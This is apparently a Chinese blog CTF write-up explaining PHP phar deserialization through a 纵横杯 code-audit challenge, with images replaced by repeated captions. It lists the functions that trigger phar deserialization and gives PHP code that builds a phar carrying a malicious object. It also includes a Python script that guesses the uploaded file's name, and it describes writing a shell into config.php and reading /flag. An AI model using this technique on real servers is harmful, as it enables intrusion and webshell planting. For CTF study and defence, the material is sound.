ma4ter

Index | Photo | About | Friends | Archives

从纵横杯的一道代码审计题学phar反序列化

从纵横杯的一道代码审计题学phar反序列化

果然是被乱锤 就做出来这道题目 流下了没技术的眼泪

打开后扫描有www.zip代码审计

从纵横杯的一道代码审计题学phar反序列化

读完代码发现账号密码

从纵横杯的一道代码审计题学phar反序列化

可利用的点为文件上传从纵横杯的一道代码审计题学phar反序列化

从纵横杯的一道代码审计题学phar反序列化

index.php发现使用到了file_exists函数 class类文件里面重命名上传后缀为jpg 没有反序列化函数

从纵横杯的一道代码审计题学phar反序列化

前两天刚好做到一道题就是利用phar反序列化解题

利用条件

  1. 能够上传phar文件到服务器,可将phar文件伪装成其他格式文件绕过上传;
  2. 要有可用的魔术方法作为“跳板”;
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符未被过滤。

受影响函数

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents

file         filegroup        fopen        fileinode      fileowner            fileperms

is_dir       is_file          is_link      is_executable  is_readable          is_writeable

is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file

思路就是构造反序列化然后上传phar文件通过file_exists函数触发class中的魔术方法_destrut将构造好的而恶意函数写进config.php文件中

先进php.ini设置一下

从纵横杯的一道代码审计题学phar反序列化

从纵横杯的一道代码审计题学phar反序列化

<?php
$config=new Config();
@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($config);
$phar->addFromString("1.txt", "1");
$phar->stopBuffering();

访问php会生成phar文件 上传后文件是时间戳的md5 py脚本爆破

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import time
import requests as req 
import hashlib
def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

for i in range(100):
    url = f"http://your container/static/{md5(str(int(time.time())))}.jpg"
    r = req.get(url)
    if r.status_code == 200:
        print(url)
        break
    else:
        print(i, r.status_code)
    time.sleep(1)

访问触发反序列化

从纵横杯的一道代码审计题学phar反序列化

就能看到config.php中被写入了shell

从纵横杯的一道代码审计题学phar反序列化

从纵横杯的一道代码审计题学phar反序列化

比赛的时候权限没这么大

直接print_r(scanf('./'))之后echo file_get_contents('/flag')就能拿到flag了